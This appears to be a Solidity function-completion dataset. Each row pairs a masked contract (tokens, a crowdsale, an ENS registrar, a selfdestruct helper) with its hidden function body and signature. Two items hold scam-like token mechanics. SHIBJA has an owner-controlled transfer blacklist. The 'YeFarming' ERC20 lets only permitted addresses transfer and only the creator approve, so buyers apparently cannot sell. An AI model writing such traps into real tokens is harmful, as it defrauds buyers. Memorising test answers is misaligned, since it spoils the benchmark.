= 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract SHIBJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shibja Inu"; string private constant _symbol = "SHIBJA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddress = payable(0x843dA99e324813964C6b29ED1A19C3c961a1f777); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal);
constructor ()
constructor ()
72238
ERC20
null
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public {<FILL_FUNCTION_BODY> } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; <FILL_FUNCTION> /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
//_name = " YeFarming "; //_symbol = "yFARM "; _name = "YeFarming "; _symbol = "yFARM"; _decimals = 18; _totalSupply = 9000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply);
constructor () public
/** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public
73603
DestroyableMultiOwner
destroy
contract DestroyableMultiOwner is MultiOwnable { /** * @notice Allows to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner {<FILL_FUNCTION_BODY> } }
contract DestroyableMultiOwner is MultiOwnable { <FILL_FUNCTION> }
selfdestruct(owners[0]);
function destroy() public onlyOwner
/** * @notice Allows to destroy the contract and return the tokens to the owner. */ function destroy() public onlyOwner
79797
SimpleRegistrar
register
contract SimpleRegistrar is owned { // namehash('addr.reverse') bytes32 constant RR_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; event HashRegistered(bytes32 indexed hash, address indexed owner); AbstractENS public ens; bytes32 public rootNode; uint public fee; // Temporary until we have a public address for it Resolver public resolver; function SimpleRegistrar(AbstractENS _ens, bytes32 _rootNode, uint _fee, Resolver _resolver) { ens = _ens; rootNode = _rootNode; fee = _fee; resolver = _resolver; // Assign reverse record to sender ReverseRegistrar(ens.owner(RR_NODE)).claim(msg.sender); } function withdraw() owner_only { if(!msg.sender.send(this.balance)) throw; } function setFee(uint _fee) owner_only { fee = _fee; } function setResolver(Resolver _resolver) owner_only { resolver = _resolver; } modifier can_register(bytes32 label) { if(ens.owner(label) != 0 || msg.value < fee) throw; _; } function register(string name) payable can_register(sha3(name)) {<FILL_FUNCTION_BODY> } }
contract SimpleRegistrar is owned { // namehash('addr.reverse') bytes32 constant RR_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; event HashRegistered(bytes32 indexed hash, address indexed owner); AbstractENS public ens; bytes32 public rootNode; uint public fee; // Temporary until we have a public address for it Resolver public resolver; function SimpleRegistrar(AbstractENS _ens, bytes32 _rootNode, uint _fee, Resolver _resolver) { ens = _ens; rootNode = _rootNode; fee = _fee; resolver = _resolver; // Assign reverse record to sender ReverseRegistrar(ens.owner(RR_NODE)).claim(msg.sender); } function withdraw() owner_only { if(!msg.sender.send(this.balance)) throw; } function setFee(uint _fee) owner_only { fee = _fee; } function setResolver(Resolver _resolver) owner_only { resolver = _resolver; } modifier can_register(bytes32 label) { if(ens.owner(label) != 0 || msg.value < fee) throw; _; } <FILL_FUNCTION> }
var label = sha3(name); // First register the name to ourselves ens.setSubnodeOwner(rootNode, label, this); // Now set a resolver up var node = sha3(rootNode, label); ens.setResolver(node, resolver); resolver.setAddr(node, msg.sender); // Now transfer ownership to the user ens.setOwner(node, msg.sender); HashRegistered(label, msg.sender); // Send any excess ether back if(msg.value > fee) { if(!msg.sender.send(msg.value - fee)) throw; }
function register(string name) payable can_register(sha3(name))
function register(string name) payable can_register(sha3(name))
90993
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
require(_to != address(0), "BasicToken: require to address"); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
60405
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool)
12880
Crowdsale
buyTokens
contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable {<FILL_FUNCTION_BODY> } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } }
contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } <FILL_FUNCTION> // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } }
